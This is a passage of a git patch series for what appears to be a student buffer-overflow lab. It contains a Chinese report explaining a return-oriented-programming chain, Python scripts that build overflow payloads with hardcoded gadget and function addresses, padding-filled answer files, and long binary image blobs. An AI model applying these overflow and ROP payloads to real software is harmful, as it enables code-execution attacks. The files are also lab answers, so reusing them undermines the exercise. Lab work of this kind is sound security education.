`[Gadget 地址]`:覆盖原返回地址,程序跳转至 `pop %rdi`。 + * `[0x3f8]`:作为参数布置在栈上,被 Gadget 捕获放入 `%rdi`。 + * `[func2 地址]`:Gadget 执行 `ret` 后,程序跳转至最终目标。 + +- **解决方案**: + Payload 结构:`[Padding] + [Gadget Addr] + [Param Value] + [Target Addr]` + + **Python 构造逻辑**: + ```python + padding = b'A' * 16 + gadget = (0x4012c7).to_bytes(8, 'little') # pop rdi; ret + param = (0x3f8).to_bytes(8, 'little') # 参数值 + target = (0x401216).to_bytes(8, 'little') # func2 + + payload = padding + gadget + param + target + ``` + +**Payload 二进制视图**: + ```text + 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| + 00000010 c7 12 40 00 00 00 00 00 f8 03 00 00 00 00 00 00 |..@.............| + 00000020 16 12 40 00 00 00 00 00 |..@.....| + ``` + +- **结果**: + ![Problem 2 Result](222.png) + ### Problem 3: - **分析**:... diff --git a/solve1.py b/solve1.py new file mode 100644 index 0000000..2af28cd --- /dev/null +++ b/solve1.py @@ -0,0 +1,12 @@ +import sys + +padding_len = 16 +padding = b"A" * padding_len + +target_address = (0x401216).to_bytes(8, byteorder='little') + +payload = padding + target_address + + +with open("ans1.txt", "wb") as f: + f.write(payload) diff --git a/solve2.py b/solve2.py new file mode 100644 index 0000000..7d7748c --- /dev/null +++ b/solve2.py @@ -0,0 +1,17 @@ +import sys + +padding = b'A' * 16 + +gadget_addr = (0x4012c7).to_bytes(8, 'little') + +param_val = (0x3f8).to_bytes(8, 'little') + +func2_addr = (0x401216).to_bytes(8, 'little') + +#组合 +payload = padding + gadget_addr + param_val + func2_addr + +with open("ans2.txt", "wb") as f: + f.write(payload) + +print("ans2.txt 生成成功!") \ No newline at end of file From 5eb894a4164101d64aaae6c1905fce3721fb0140 Mon Sep 17 00:00:00 2001 From: Keyuq Date: Mon, 19 Jan 2026 10:51:04 +0800 Subject: [PATCH 4/4] =?UTF-8?q?=E5=AE=8C=E6=88=903=E4=B8=8E4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ans3.txt | Bin 0 -> 48 bytes ans4.txt | 1 + problem3 | Bin reports/333.png | Bin 0 -> 26165 bytes reports/444.png | Bin 0 -> 33627 bytes reports/report.md | 49 +++- reports/report_tmp.html | 512 ++++++++++++++++++++++++++++++++++++++++ solve3.py | 13 + 8 files changed, 567 insertions(+), 8 deletions(-) create mode 100644 ans3.txt create mode 100644 ans4.txt mode change 100644 => 100755 problem3 create mode 100644 reports/333.png create mode 100644 reports/444.png create mode 100644 reports/report_tmp.html create mode 100644 solve3.py diff --git a/ans3.txt b/ans3.txt new file mode 100644 index 0000000000000000000000000000000000000000..b1905a7256f4200c35a1a1d2f359061101233419 GIT binary patch literal 48 UcmZ>C#18^Y9T-4BTL?k}02e?BV*mgE literal 0 HcmV?d00001 diff --git a/ans4.txt b/ans4.txt new file mode 100644 index 0000000..1ff0724 --- /dev/null +++ b/ans4.txt @@ -0,0 +1 @@ +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA diff --git a/problem3 b/problem3 old mode 100644 new mode 100755 diff --git a/reports/333.png b/reports/333.png new file mode 100644 index 0000000000000000000000000000000000000000..27e2f07bb0eca6aaba1e15a7daa61397709e13f1 GIT binary patch literal 26165 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 